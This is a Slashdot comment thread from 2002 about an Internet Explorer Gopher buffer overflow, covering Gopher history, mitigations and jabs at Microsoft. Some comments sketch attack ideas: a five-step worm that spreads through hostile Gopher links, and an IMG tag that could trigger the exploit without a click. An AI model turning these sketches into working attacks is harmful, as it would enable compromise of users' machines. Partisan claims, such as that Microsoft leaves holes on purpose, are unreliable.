    s/(gofer\:[^'" \n\r\t]*)/about:blocked.html?$1/

    I should see if this is a requested feature for mozilla yet. With browsers knowing about regexp for javascript this probably wouldn't be too hard to implement. Plus once it was implemented, you could use it for blocking ads and other annoyances.

  23. All IE Versions? by toupsie · · Score: 2
    What about the MacOS 9 and MacOS X version of Internet Explorer? Generally when the press says there is an IE security issue, it doesn't effect us but I could not gleam that info from the short! Yahoo! article!

    Microsoft is so good at screwing up its own OS, thank God they seem to do a good job with Mac apps (though 90% of our security problems are due to M$).This will be moot for Mac Users anyway with Chimera looking better every day (nightly build).

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  24. Kinda funny actually by einhverfr · · Score: 2, Troll

    Hmmm... Two headlines I saw immediately on going to /. today:

    One about a company releasing a report indicating that Open Source software is inherently insecure.

    Another about a new security hole in IE (Thank god I use Konqueror ;))

    Now we need the good PR people at Microsoft to release the source code to Internet Explorer and IIS so that they can prove their first point...

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  25. Gopher Info Links by digital_freedom · · Score: 2

    For those of you who don't know what gopher is or where it's being used, here is a little info and some links to projects and sites related to this good old protocol.

    About gopher:
    Gopher is an infoserver which can deliver text, graphics, audio, and
    multimedia to clients. Keeping documents "link clean", making linking a
    function of the server info-tree and not in the doc, layout is kept to
    its most frugal minimum, and is standard across all docs. No graphic
    design means its the ideal navigable interface, a hypertext Eden. It
    gives simplified usage for sight-impaired users, same contents for
    wired/wiredless, and requires no capital investments in layout and
    "design". Gopher is real -- and it was fully functional in 1992, even
    without advertisements!
    Taken from the gopher manifesto

    Google's Gopher stuff
    Yahoo's Gopher stuff

    For those that want to go gopher hunting. Here's a link to a gopher server at the University of MN. I don't think they will install BackOrifice or something, but user beware!

    I wonder how secure a gopher server is?

  26. Active gopher sites. by AJWM · · Score: 5, Interesting
    The last time I actually used a gopher site was about a year ago, some wire service was running it for its news stories.

    However, a quicky search turns up several still-active gophers, for example:
    gopher://gopher.umsl.edu/
    gopher://gopher.cac.psu.edu/
    (These actually return data -- some others I found the server up but no data returned).

    As to why gopher died out, Tim Berners-Lee offers the following:

    "It was just about this time, spring 1993, that the University of Minnesota decided that it would ask for a license fee from certain classes of users who wanted to use gopher. Since the gopher software being picked up so widely, the university was going to charge an annual fee. The browser, and the act of browsing, would be free, and the server software would remain free to nonprofit and educational institutions. But any other users, notably companies, would have to pay to use gopher server software.

    "This was an act of treason in the academic community and the Internet community. Even if the university never charged anyone a dime, the fact that the school had announced it was reserving the right to charge people for the use of the gopher protocols meant it had crossed the line. To use the technology was too risky. Industry dropped gopher like a hot potato."

    (from his book, Weaving the Web)

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    -- Alastair
    1. Re:Active gopher sites. by Zeinfeld · · Score: 2
      "To use the technology was too risky. Industry dropped gopher like a hot potato."

      Tim is certainly right that this was a factor, however the MN policy change came after HTTP had passed gopher in terms of usage (as measured on the NSF backbone).

      The Web was winning largely because Gopher had a very puritanical outlook. They wanted to hold the net back in the era of VT100 terminals, fixed width fonts and the only formatting being normal, bold and inverse font.

      Another problem was that they really had their heads up their asses when it came to URLs. Their idea of muiltimedia content was that a file could be a text file or a picture. The idea of pictures in the text was anathema.

      Now there have been claims made by the Netscape FUD dept. that there was also opposition to images in the Web community. Actually nothing could be further from the truth. There were a lot of complaints about the botched design of the IMG tag. To be fair to Marc he did give the world 8 hours to comment on his proposal, two of which were actually business hours in Europe (none of which were business hours in the US however).

      By the time the university tried to cash in gopher was already on a downturn. The university action was simply the coup de grace. If it had come when gopher was more popular someone would have forked the source tree or developed an open version.

      Today a lot of the 'gopher' servers are actually Web servers that have the ability to serve multiple protocols.

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    2. Re:Active gopher sites. by bluGill · · Score: 2

      To be fair to the UofMN, gopher didn't have a concept of homepage or URL. So every gopher client in the world connected to the UofMN home gopher page (by default, and this was often hardcoded). Even if you did set your home connection elsewhere, for anything useful you ended up following the link to the UofMN home gohper page and from linking to all the servers in the world, the geographical location, and then to a link from there. In other words every server registered with the UofMN, and to get to their server you had to go to the UofMN. This took a serious amount of bandwidth in the days when there wasn't a lot of it. (though the UofMN did have a big connection, gopher traffic was a significant part of it)

      Still I have to agree with the other criticisms.

    3. Re:Active gopher sites. by bluGill · · Score: 2

      Sure, but everyone who wanted to tell show you their gopher page ended up giving you the steps to link there from the UofMN home gohper page. I remember getting several such links at the time.

      You could set a different homepage, but you still had to use the main gohper at the UofMN for most of what you did.

    4. Re:Active gopher sites. by coupland · · Score: 2

      I'd click on your links to check out some active gopher sites but sadly I'm at work where I use IE6.0. Clicking on your links may format my hard drive or allow you to see critical corporate data hidden on my system. (Like my Freecell win/loss statistics.) I feel like the sad little kid sitting in the house practising violin (AKA using a Microsoft browser) while all the cool Linux kids are outside playing baseball...

    5. Re:Active gopher sites. by plaa · · Score: 2
      However, a quicky search turns up several still-active gophers, for example:
      gopher://gopher.umsl.edu/
      gopher://goph er.cac.psu.edu/
      (These actually return data -- some others I found the server up but no data returned).


      From gopher://info.psu.edu/00/about/About this gopher:
      *** Gopher status update 4/24/1998:
      *** The articles and data concerning Penn State are now on the web.
      *** No new data is being or will be added to this gopher server.
      *** Please visit the Penn State web page at http://www.psu.edu/


      From gopher://gopher.umsl.edu/00/dummy.file, labelled "If you like our Gopher, you'll love our WWW Server":
      Our web is located at http://www.umsl.edu

      (Many of the other files are similar, though some contain also some information.)

      Of course, it is admirable that they still have them up, but they don't seem useful for anything. Quite sad actually, I never learned to use them...
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    6. Re:Active gopher sites. by LadyLucky · · Score: 2

      Would that be the first known gopher slashotting, then?

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  27. Comment removed by account_deleted · · Score: 2, Funny

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  28. 9 out of 10 Terrorists agree! Microsoft's secure! by JohnDenver · · Score: 4, Funny

    Obligitory reference to story posted earlier today...
    'Think Tank' Issues Microsoft-Funded Troll

    According to this ZDNet article, a Washington think tank known as the Alexis de Tocqueville Institution is soon to release a study stating that Open Source Software allows terrorists an easy time hacking into our systems. It's little suprise that this group takes money from Microsoft." The Register's story is good too. All the whoring reports in the world won't make open source any less secure.

    Everybody knows terrorists love to target Mozilla users by sending them links which causes there system to email Star Office attachments to everybody with payloads that will delete all your OGGs and PNGs by exploiting security holes in Sendmail.

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  29. Technical details straight from the source by DeadMeat+(TM) · · Score: 2
    here.

    Well, sort of, anyway. They don't go into much detail because of fear of people exploiting it, but it's some kind of buffer overflow (big surprise there) triggered by a malicious Gopher server.

  30. Whack-a-Mole (not quite a gopher joke, but... by dpilot · · Score: 4, Funny

    certainly more applicable to the concept of fixing security holes in Microsoft software.

    FYI: Whack-a-Mole is an old arcade game where you hold a padded mallet facing a slightly inclined surface with a half-dozen or so holes. Periodically a little mole pops up from a hole, and you try to whack him before he goes back down on his own. A little bit like playing XBill, only in the Real World.

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  31. BugTraq by kylus · · Score: 2, Informative

    Here is another article from SecurityFocus about the issue, along with the original post to the BugTraq mailing list about this problem.

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  32. Duh... by Andy+Dodd · · Score: 2

    Because legit gopher sites that already aren't the problem.

    It's bogus trap Gopher sites (Or likely merely URLs) that are.

    I'm guessing that the attack doesn't even involve contacting a Gopher server, it is likely to be a buffer overflow attack in the URL. (I'm guessing that it's a relative of previous URL BO attacks that both NS and MSIE were vulnerable to.)

    It's just as newsworthy as bogus HTTP URLs rooting your system were. Because these gopher links look just like HTTP links unless you look at your browser's URL display. Most of us, including myself, don't bother looking unless we have reason to be suspicious. (Like any link in a /. post)

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  33. Since When by quantaman · · Score: 3, Funny

    A Microsoft spokesman who refused to be identified said Tuesday that the company is "moving forward on the investigation with all due speed" and will take the action that best serves its customers.

    Since when did M$ start offering downloads of Mozilla?

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  34. Re:Not necessarily... by zzyzx · · Score: 2

    Where are you getting that? The related article says, 'According to Oy Online, a hacker could take over a user's computer simply by having the user click on a link to a "hostile Gopher site." That one click would install and run any program the hacker chose on the victim's computer, and the victim might never know'

    According to the oy online page "The part of code in IE which parses gopher replies contains an exploitable buffer overflow bug... . The server can be very minimal, ie. a program that can listen on a TCP port and write a block of data; a fully operational gopher server isn't necessary in order to carry out the attack. "

    It looks like an accurate link to a gopher server is needed for this attack.

    It looks like there needs to be a hostile site existing, unless you have another link.

  35. Re:Not necessarily... by zzyzx · · Score: 2

    "It looks like an accurate link to a gopher server is needed for this attack.

    It looks like there needs to be a hostile site existing, unless you have another link."

    It also looks like I should actually read what I write when I preview instead of just checking to make sure that the links work.

  36. This was in the works for some time by BoxJockey · · Score: 2, Funny

    As you can imagine, "the gopher hole" was a project microshaft envisioned early-on. They couldn't let this go public until they had something to catch the little beasts with. Fortunately now they can catch the gophers with microshaft's giant .net.

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  37. Whoops... by Andy+Dodd · · Score: 2

    I just found a site with more details. Turns out that a hostile server has to be set up.

    So it is a valid remedy.

    The site's URL (It's all over this story, but for good measure...) - http://www.solutions.fi/index.cgi/news_2002_06_04? lang=fi

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  38. Not a URL buffer overflow, but nearly as dangerous by Andy+Dodd · · Score: 2

    It's a buffer overflow originated by a hostile Gopher server.

    Just as dangerous, unless you block all Gopher sites using your firewall preferences. As I said before - It's not the legit links (Of which almost none still exist) that are the problem, it's the hostile servers whose links are displayed identically to HTTP links.

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  39. You see... by Rogerborg · · Score: 2

    ... this is why I'm still using Lynx. I'll maybe give one of these new fangled "GUI port 80 telnet clients" a whiz once they're robust enough to deal with ten year old technology.

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  40. mosiac money by OpenMind(tm) · · Score: 2, Funny

    The possibility of this being a Mosaic hole reminds me of one of life's fun little ironies:

    Marc Andreessen wrote Mosaic while at the University of Illinois. After he went on to found Netscape, Microsoft came to an agreement with the University of Illinois to license the Mosaic source code to use it as the core of the Internet Explorer browser. The fact that they still license it is referenced in IE's "About Box". Now the UofI's intellectual property policy is that the creators of the property get ~40% of the licensing money. So, the odds are pretty good that Marc gets annual checks of Microsoft money to pay for his old source code, which was used to destroy his beloved company. Makes me feel bad for him.

    Still, it is kind of funny that Microsoft ends up paying some miniscule part of my University salary because they've never been able to write a web browser from scratch.

  41. This is an outlook exploit waiting to happen by ILikeRed · · Score: 2

    How long till this is put in a javascript / html email exploit???

    Why do we need anything but text in email? I could even live with a subset of html that would display graphics, but full html???

    scary....

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  42. Re:And we all know by CaseyB · · Score: 2
    Use Archie!

    Archie was for FTP. The Gopher equivalent was Veronica.

  43. New MS Slogan! by Hiro+Antagonist · · Score: 3, Funny

    Microsoft: Now with more exploited holes than a two-dollar hooker.

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  44. What the hell is this about? by drew_kime · · Score: 5, Insightful
    A Microsoft spokesman who refused to be identified said Tuesday ...

    And just why should we trust anything this guy says? Their official spokesman won't even stand by what he's saying. And what is he saying, anyway?

    Refusing to confirm the security flaw, the Microsoft spokesman said the company "feel(s) strongly that speculating on the issue while the investigation is in progress would be irresponsible and counterproductive to our goal of protecting our customers' information."

    And the spokesman added, "Responsible security researchers work with the vendor of a suspected vulnerability issue to ensure that countermeasures are developed before the issue is made public and customers are needlessly put at risk."

    So again, as far as Microsoft is concerned, it's the fault of the people who publicized it. It's prudent to assume these guys are not the only ones who know about the problem. Which means my information is already at risk.

    So if there are people out there who can compromise my system, why shouldn't I be able to find out about it and take preventive measures? Why should I have to wait until Microsoft -- who haven't even admitted to the vulnerability yet, two weeks after being told about it -- get around to fixing it?

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    1. Re:What the hell is this about? by Dr.+Evil · · Score: 2

      This is the level of service we have come to expect from MS. Good or bad, it is what you paid for and what you are using.

      Microsoft believes it more worthwhile to keep the security vulnerabilities secret until they are fixed. That's their decision.

      You make it sound like you have some kind of rights here or something. Re-read your EULA. You have no rights.

    2. Re:What the hell is this about? by Freija+Crescent · · Score: 3, Funny

      And just why should we trust anything this guy says? Their official spokesman won't even stand by what he's saying. And what is he saying, anyway?

      His identity is being protected through obscurity. If he open-sourced his name, his job/email account/etc would be open to attack.

      So again, as far as Microsoft is concerned, it's the fault of the people who publicized it. It's prudent to assume these guys are not the only ones who know about the problem. Which means my information is already at risk.

      Your information has been at risk ever since installing your operating system. You agreed to the EULA upon installing it, and that paper holds you responsible for data sharing, you agreed to not hold Microsoft responsible for data loss, intrusion, etc. Also what concerns me is that you claim that other people know about the problem. That is unlikely, as the EULA also forbids reverse-engineering the code to find exploits.

      Additionally, you have the DMCA to protect you, which means that if anyone tries to circumvent the data safeguards on your system, they will be prosecuted.

      I think you are being overly paranoid.

      -fc

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  45. Re:Very funny. by Pfhreakaz0id · · Score: 2

    I agree. This is just criminal on software makers part to say something is 2K compatible, but obviously never tested at the non-admin level. I tried having my wife's account in the "power users" level (just so there were certain things she wouldn't inadvertently do) and I got tired of stuff not working correctly and eventually put 'em in the admin.

    I went round and round with a scanner manufacturer (agfa, anyone?), finally the POS scanner broke and I bought a new one. I actually did a security audit on registry and this is exactly what they were doing. I emailed the info to tech support, told them to please send to their developers. Never did hear anything. What morons are programming this stuff? Who QA's it? I mean, are they not capable of creating an account that isn't an admin? Biz software is fairly good at this (because at your office, you probably not an admin of the box), but home software is bad. Really bad.

  46. Re:Very funny. by cperciva · · Score: 2

    The sad thing is, so much stuff doesn't work on NT/2000/XP if you're not a local admin.

    Really? I've been using W2K since beta 3 came out, and the only thing I haven't been able to do as a normal user is run Windows Update. (And I'm not exactly complaining about that.)

  47. Get Your Easy Fix Right Here!!!! by kryzx · · Score: 5, Funny
    It is really easy to fix this problem with this script I wrote. Just click on the link below to get it.

    gopher://gopher.URr00t3d.ru

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  48. Not just gopher by GungaDan · · Score: 2
    IE users should also be wary of "Doc Bricker," "Cap'n. Stubing," and "Isaac the Bartender" sites. All have been routinely employed in rooting the box of one "Cruise Director Julie McCoy," despite the focus of this article on the hapless yeoman purser. Exploits over a variety of ports are known to result in all manner of wacky hilarity, including the devastating "coochie-coochie" attack of the infamous Charo bug.

    Asked to comment on the implications of this discovery for Microsoft security, Bill Gates pointed to the sky, uttered some comment about "ze plane," snapped his fingers and promptly vanished.

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  49. The Gopher manifesto... by TheConfusedOne · · Score: 2

    Hmmm, yet another underground uprising eh?

    Not only does the thing damage IE, they're hell on lawnmowers too.

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  50. Temporary fix by ILikeRed · · Score: 2

    For those with firewalls, be sure to block port 70, if you do not already.
    Port number

    Not sure if a user could redirect gopher to port 80, but at least this will lock out the script kiddies. Be on the lookout for html emails with this stuff. Count your blessings that MicroSoft has not been able to put all traffic on port 80 (yet), and you can still filter some things....

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    1. Re:Temporary fix by elbuddha · · Score: 2


      Blocking port 70 does nothing. The following is a perfectly valid url:

      gopher://lame.scriptkiddies.net:80

      Protocols are independent of ports.

  51. BugTraq? by reflective+recursion · · Score: 2

    This is fine and good, but could we please stop this needless bashing of MS? There are better places for security information than Slashdot. Perhaps show just a hint of optimism instead of negativity all the time.

    Many Slashdot readers have a serious flaw in placing the blame on one entity known as "Microsoft." They forget that MS is divided into many project groups with many developers that most likely do not have contact with other group members. If you want to make a better comparison of MS vs open source then take 80-90% of _all_ open source programs and compare the number of flaws to MS' flaws. Take a simple program like "BitchX," an IRC client. It has had countless security issues, and IRC has been around since '89 or so. We like to conveniently forget about sendmail and bind and focus on the Linux kernel stability. Let's not forget that the Linux kernel has a very poor track record of stability and security. Remember the 2.0.3x series? Nearly every other kernel had a remote exploit. In conclusion: there is no equal or objective comparison between MS and "Linux" (or whatever you want to define as the yardstick of security.. which is typically "Linux" on /.) in terms of security. It is nonsense and articles like this tell me that Slashdot editors are more interested in emotionally attached flamewars to increase page hits and advertisment views than actual unbiased news.

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    1. Re:BugTraq? by WildBeast · · Score: 2

      This is just to Bash MS. Why don't they mention the other security focus news then?

      "O'Reilly & Associates recently exposed their database of approximately 100,000 online users to outsiders, courtesy of a Web coding slip-up"

      "The popular open-source security tool Fragroute is bugged in plain sight by unknown hackers, who may have struck before."

      Both stories are on the cover page.

    2. Re:BugTraq? by Tony-A · · Score: 2

      This is fine and good, but could we please stop this needless bashing of MS? There are better places for security information than Slashdot.

      Like Microsoft.com?

      Search for gopher gives:
      "Error Message: Microsoft Gopher Publishing Service is running. Do you want to stop the service? User Action: If you are troubleshooting or modifying the configuration parameters in the Gopher Service, click Yes. Otherwise, click No."

      After about 3 days, a search for Code Red finally gave results.

      The breaking security information is long dead on /. before Microsoft finally wakes up.

      Perhaps show just a hint of optimism instead of negativity all the time.
      Like you really expect the virus and worm writers to get dumber with time ???

  52. I.E. helps terrorists by NinjaWorm · · Score: 2, Insightful

    LOL this story after reading that crap about Open Source helping terror.

    Who needs a patch? just download OPRA and bam fixed.

  53. Buffer overflow, buffer overflow, buffer overflow by dpbsmith · · Score: 3, Insightful

    ...why do they have to find and fix them one by one? Can't they switch to a programming language, or debugging tool, or run-time library, that would find and fix all of them?

    Indeed, about the time Windows 2000 was released with 65536 known bugs (or whatever the exact number was), didn't Jim Allchin say that they had such a tool and were using it?

    Should buffer overflows be as outdated as Gopher itself?

  54. like visiting porn/warez sites by Kris+Warkentin · · Score: 2, Funny

    Closing all the pop-up windows that you get at some sites is like playing whack-a-mole.

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  55. Oh my gosh! Gopher! by interstellar_donkey · · Score: 2, Funny

    This could bring the entire Internet community to a halt!

    Next thing you know, they'll discover people using IE for archie searches will allow users to hack your windows box too.

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  56. Four by Punto · · Score: 2
    Speaking as a person who used to use gopher quite a bit - how many gopher links are left on the WWW? Three?

    Actually four. But that's not really the point.. Probably none of the existing 'legitimate' gopher sites are 'hostile', so it doesn't matter if it's 4 or 400000000. It's not that hard to publish a _new_ gopher link to a hostile site.

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  57. Even tho gopher is dead, this is a problem by joshv · · Score: 5, Insightful

    Everyone keeps saying "but there are like three gopher servers left out there". This is not the point. Any buffer overflow in the IE client code which is exploitable is a huge problem. It doesn't matter that there are damned few servers left that use the exploitable protocol. A malacious server need not even be a fully functioning gopher server, it just needs to listen for requests on the right port and respond appropriately. A worm'ed IIS server could fit the bill quite nicely.

    A smart worm could:
    1. Infect an IIS server via some unfixed hole, or backdoor left by another worm.
    2. Open up a dummy gopher port which responds to all requests with the exploit.
    3. Replace links on the web site the IIS server serves with links to the gopher server exploit.
    4. The worm installs itself on all client machines that click the gopher links and begins scanning for vunerable servers.
    5. Goto 1.

    None of this has anything to do with the number gopher servers left on the Internet.

    -josh

  58. Re:And we all know by V.+Mole · · Score: 2

    You don't have to click. All the cracker need do is force a redirect to a "gopher" site via HTTP or Javascript or whatever. And it doesn't have to be a real gopher site, just a server that injects the exploit.

  59. What's worse? by NanoGator · · Score: 3

    What's worse? Saying "Don't use IE!" as a blatant attempt at karma whoring, or that some idiot moderators modded that up.

    Logic check: "Don't use the browser that most websites are designed for!"

    Do you really think I'd be using IE right now if Opera was cutting it?

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    1. Re:What's worse? by NanoGator · · Score: 2

      Well, I agree with what you're saying, but it doesn't quite fit what I was saying. I can't control whether or not sites 'miss the point'. Why? Because no matter what browser I use, IE is always on my machine.

      I have no love of IE, but telling me 'Dont use it!' is like saying 'Insurance is expensive, so dont drive to work.'

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    2. Re:What's worse? by perlyking · · Score: 2

      Which are these sites that only IE works, or that are so disfunctional they arent usable without it?
      Generally speaking any site that is "designed for IE" is not worth visiting, still i'd be interested in knowing - we can all go visit them.

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    3. Re:What's worse? by NanoGator · · Score: 2

      Okay, I can give you an old example, however it appears to have been fixed recently: When viewing Bestbuy.com using Opera, the 'store locator' button was gone. I was specifically looking for this button to figure out where a store was located, but I had to switch to IE in order to use it.

      Slashdot has a minor bug in it, but it's not the type of thing where you'd say 'ARGH I HATE OPERA!!'. When it says 'This page was generated by a cadre of ninja squirrels for NanoGator', the name 'NanoGator' overlaps the sentence a little bit.

      I've had other sites that weren't rendered very well, causing me to go to IE. Unfortunately, I haven't used Opera in the last couple of months due to a computer meltdown, so I don't have a list on hand.

      Usually the problem was with using DHTML I believe. It wouldn't get interpreted correctly so things like fancy little menus that come down when you hover over them would either not work, or be drawn in the wrong place. Sites that don't use these features have no problem. Is it a problem with Opera? I'm not 100% sure of that. I recently translated my companies website from ASP to PHP, and it uses CSS a lot. They had special cases for rendering it in IE and in Netscape, which was a pain the butt to port, heh. They did a good job, though, because Opera rendered it perfectly. So I'm not 100% sure that the browser is at fault, obviously code can be written that does it's job. (Glad I tested it in Opera, though. I really would like more people to use it.)

      If you use Opera, you'll notice that some of your favorite sites will have little glitches here and there. However, that doesn't stop me from using it. But it does force me to keep my IE button ready on the Quick Launch Bar.

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    4. Re:What's worse? by perlyking · · Score: 2

      I use Opera all the time so I guess I wouldnt notice whats missing/working wrong :-)

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    5. Re:What's worse? by stinky+wizzleteats · · Score: 3, Insightful

      Ah, the ubiquitous inevitibility argument.

      That argument is, of course, bullshit. Use of a modern HTML DTD such as 4.01 strict enforces consistent behavior on the client side. Javascript may still be a problem, but handicapped accessiblity guidelines will require that content be delivered without its use.

      There was a time where I could not browse the web with anything but IE because of the MS incited erosion of HTML standards. But the resurgence of attention to those standards, combined with a significant and growing user population using non IE browsers, have forced most web sites to un-adapt from the defacto Microsoft standard.

      As for Opera specifically, it is the only browser out there which consistently obeys pre- HTML 4.01 strict DTDs. I am a paying user of Opera, and use it on all my GUI systems.

  60. I know, I know by sphealey · · Score: 2

    But it started off a pretty good thread, eh?

    sPh

  61. I wonder if things like this would exist ... by ninewands · · Score: 2

    if Microsoft's programmers spent more of their time on writing clean code and less time on coding Easter Eggs in Office Applications, Internet Explorer and Windows.

  62. Insightful ?! by apankrat · · Score: 2, Informative

    I agree that moderating this crap up is even worse than posting it.

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  63. Re:Great by Midnight+Thunder · · Score: 2

    If you are using Mozilla then it appears that it has a few problems handling the gopher protocol, since those same links work fine in MS-Internet Explorer.

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  64. Proxy settings by EnglishTim · · Score: 2

    Set your gopher proxy to something bogus.

  65. Special Offers by CMiYC · · Score: 4, Funny

    I found it humorous that in the "Special Offers" Box there was a ad/link that read: "Access Your PC from Anywhere - Free Download"

  66. Re:Buffer overflow, buffer overflow, buffer overfl by digidave · · Score: 4, Funny

    The problem is that with only 32-bit addressing it's impossible to programatically store all of the bugs in Microsoft's software.

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  67. For all of you slamming MS by kraf · · Score: 3, Insightful

    They don't care.

    Yeah, they made some PR stunts concerning security, but until stuff like this starts affecting their bottom line, they won't care.
    There are just too many morons out there buying their stuff, so the situation won't change anytime soon.

    And don't give me that crap about being forced into using it. Noone is going to hold a gun against your head and say: use explorer or die.
    If your employer makes you use stuff you hate, then you're just a lame pushover and you deserve what you get.

  68. Microsoft Has Already Released A Patch!! by Entropy_ah · · Score: 3, Funny

    Click here to download it.

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  69. just like gophers! by dattaway · · Score: 2

    Close one window, two more pop up!

  70. root? by Transcendent · · Score: 2

    Since when does Windows use Root for its superuser account???

    Stop mixing windows and linux lingo!

  71. Re:Mozilla 1.0 is out!!!! by Zurk · · Score: 2

    In related news, Mozilla 1.0 is finally out! celebrate!

  72. How about in an IMG tag? by harlows_monkeys · · Score: 2

    Do you even need to redirect? What happens if you do img src="gopher://site.running.exploit.server"?

  73. gopher holes by vinnythenose · · Score: 2

    Damn gopher holes, routing around my backdoor. Guess I'll have to close up my ground floor Windows to stop them from coming in and gnawing at the foundation.

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  74. Re:Root? There is no "root" on a NT machine. by talks_to_birds · · Score: 2
    This term was directly copied from the article at The Reg®

    Whaddya expect, original writing at /. ?

    t_t_b

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  75. solution to pop-ups by SethJohnson · · Score: 2, Offtopic


    Mozilla >> Preferences >> Advanced >>Scripts > uncheck "open unrequested windows"

    solved. this is the equivalent to the end scene in caddyshack where bill murray blows up all the gophers with C4. The only difference is that the golf course remains intact.
  76. MS Feature by Andrewkov · · Score: 2
    Common, folks, this is a feature! Sometimes you want to put a hyper link on your site that says Click here to format your hard drive.

    Hey, maybe we could use this to our advantage, like Click here to upgrade to Linux!!

  77. Shouldn't that have been? by theolein · · Score: 2

    Refusing to confirm the security flaw, the Microsoft spokesman said the company "feel(s) strongly that speculating on the issue while the investigation is in progress would be irresponsible and counterproductive to our goal of protecting our customers' information."

    Refusing to confirm the security flaw, the Microsoft spokesman said the company "feel(s) strongly that speculating on the issue while the investigation is in progress would be irresponsible and counterproductive to our goal of protecting our company's reputation."

  78. Mod parent up to +5 Funny by theolein · · Score: 2

    He deserves it.

  79. Re:is client-server intrinsically buggy? by Todd+Knarr · · Score: 2

    There's an intrinsic problem, but it's not specific to client-server. The basic problem is programmer attitude. There's two basic attitudes towards input data:

    1. All input data is assumed to be valid and legal until proven otherwise.
    2. All input data is assumed to be invalid and illegal until proven otherwise.
    The correct attitude to take is #2: assume anything handed to your program from outside is completely screwy until you can validate it. So, for example, you assume an input stream is infinitely long and will overflow your buffers until you determine, by hitting an end-of-data mark without having overflowed your buffer, that it isn't. But this is hard to do, because your code has to handle arbitrary input and be prepared to handle anything thrown at it. It's easier to code to handle correct input and throw in a bit of error handling that you hope will catch all the invalid cases. That's attitude #1 at work, and as proven again and again it results in conditions that your program can't handle correctly and can't detect correctly.

    Until attitude #1 is eradicated, we'll continue to see security holes that exploit problems in input data handling.

  80. Re:Why not just block it at the router? by moncyb · · Score: 2

    From the article: "Oy Online Solutions Ltd. of Finland said it notified Microsoft Corp. of the security hole on May 20 but the software giant has yet to produce a software patch to fix the problem."

    I don't see why Microsoft just doesn't disable the gopher protocol--that wouldn't take long, would it? I haven't seen a gopher site for five years. I don't see any point in keeping it...

    Anyone want to start with conspiracy theories that M$ wants bugs in its software? ;-)

  81. Re:Very funny. by ahde · · Score: 2

    There are some things that don't require Admin access, but I'd say installing hardware drivers should.

  82. This *could* be intentional... by surprise_audit · · Score: 4, Interesting
    Anyone consider the possibility that it may be policy at Micro$oft to allow such holes in the software?

    Considering that the browser components are supposedly scattered through many DLLs, any patches from M$ could easily include updates for Digital Rights Management lockdown, spyware to tell tales, etc, as well as the 'next big hole' that someone will 'discover' whenever MS feels the need to send out more tracking/spying/crippling patches.

    Heck, they don't even need to include such stuff, just track who downloads the latest patch and correlate with previous data to build a picture of what's out there.

    For example, say ten million distinct folks download the latest patch for Win98. If M$ *know* they've only sold eight million copies of Win98, they know there are 2 million BSA targets out there...

  83. Re:Very funny. by Pfhreakaz0id · · Score: 2

    I agree, but I wasn't very clear. This was just USING the software. It flat out wouldn't work without admin access.

    Actually, I've ran across some stuff that has the opposite problem of putting stuff in HKLM section. It ONLY put it in the current user. IMHO, a product shouldn't be able to say it is nt/2k/xp compatible without giving you the option of installing for the current user only or ANY user of that machine. Sometimes you have to run the install twice or more (once for each user), overwriting files, just to insure everyone gets the registry entries.

  84. Who coded this ? by Old+Wolf · · Score: 2
    According to this report:

    DETAILS

    When the overflow is triggered, a fixed sized buffer in stack gets overwritten with data from the gopher server

    You have got to be terminally thick in the head to write code that does that. I always hear these stories about the IQ-testing Microsoft entrance exams... did they outsource IE production to some schoolboys or something?

  85. Microsoft is a bug up the software industry's ass! by moncyb · · Score: 2

    could we please stop this needless bashing of MS

    MS should be bashed...it's like the diner that tries to sell rancid water and stale bread for $100(us). They use whatever means necessary to beat down their competition, so almost all of the other diners (or food producers) have gone out of business or are struggling. You can get better food from homeless shelters for free.

    If you want to make a better comparison of MS vs open source then take 80-90% of _all_ open source programs and compare the number of flaws to MS' flaws.

    Probably 80-90% of all open source programs are made by one or more of: script kiddies, teenagers playing around, hobbists, power users, people that bought "Learn to Program C in 21 Days" who now think they are "experts", and the people can't program so they start a project on SourceForge with a basic description and hope someone bites. None of these people should be expected to create a decent, bug-free program. For you to even think MS needs to be compared with them shows how backwards your position is.

    Anyone and their cat can start an open source project in their garage. It doesn't mean anyone will use these programs, and it is absurd to compare those projects with a funded company that has paid professional programmers. However, from what I've seen, Microsoft would barely scratch by with even this test. If compared with the commonly used (and made by real programmers) Open Source projects, Microsoft wouldn't even have a chance.

    Take a simple program like "BitchX," an IRC client.

    I've used it before. Not to dis the guy who made it (BitchX isn't too bad an effort), but it does seem a bit script kiddie-like. In fact only a script kiddie would choose such a name. ;-) In fact read their page: "BitchX was started by Trench and HappyCrappy as a script for the ircII client."

    It has had countless security issues, and IRC has been around since '89 or so.

    Why don't you compare BitchX with Microsoft's IRC client--assuming they still have one. All I remember about it was almost no features and stupid cartoons. BitchX has lots of features. Not that I'm saying they should be compared, BitchX is made by script kiddies after all--in fact they seem to want to be known as script kiddies--just look at their page!

    We like to conveniently forget about sendmail and bind

    What kind of dumbfuck would use sendmail or bind on their servers??? There are plenty of alternatives to those programs...

    there is no equal or objective comparison between MS and "Linux" (or whatever you want to define as the yardstick of security.. which is typically "Linux" on /.) in terms of security.

    There is no equal or objective comparison between the two because MS doesn't care about security or bugs! Whatever Linus would call a "Brown Paper Bag Bug", Bill calls a "feature". ...and I don't think most slashdot readers define Linux as a "yardstick of security". That would be something more like OpenBSD, who kick the hell out of Microsoft in terms of paranoia and therefore security. Numbers from bug reports aren't a good comparison between them either--the OpenBSD people seem to raise hell when they find the tiniest potential exploit, while Microsoft won't even acknowledge the most horrid of bugs/exploits and will only release a patch if they are embarrassed into it.

  86. Re:Very funny. by cscx · · Score: 2

    tried having my wife's account in the "power users" level (just so there were certain things she wouldn't inadvertently do)

    Wow. You've taken the BOFH persona to a new level...

  87. Re:Microsoft is a bug up the software industry's a by reflective+recursion · · Score: 2
    Be Inc. never had a good marketing plan. They tried to sell to Apple's market (hobbist multimedia) but forgot a tiny little detail--most of those people use _Apple_ computers, which will not run BeOS. The x86 is still considered an office workstation and not much more. Today you finally see big business considering x86 hardware for other things such as databases, rendering, etc. but x86 still has that office stigma. Netscape failed way before you even heard about them. They had no business plan. About the only idea going for them was to create their http server and sell it by adding Netscape proprietary extensions which only work with Navigator/Communicatior. Obviously, there were better http servers around at the time and Netscape could not hack it. That is how capitalism works. If a business can't hack it they fail. I really wouldn't go crying for them. They made out with billions from their IPO--even if they got extremely lazy and incoordinated and ran the business into the ground (which is what happened). I honestly can't get better software from SourceForge. Try obtaining a program that is equal in functionality to MS Office. What about MS Flight Sim? There is only one major open source flight sim that I know of and last time I tried it, it was seriously lacking.
    For you to even think MS needs to be compared with them shows how backwards your position is.
    That is exactly my point. There is no valid comparison between open source software and Microsoft. There have been plenty of amateurs hacking the Linux kernel that probably shouldn't have. Yet someone (many someones) always brings up how better open source is at security, bugs ,etc. Just look in this article and you will see many, I'm sure.
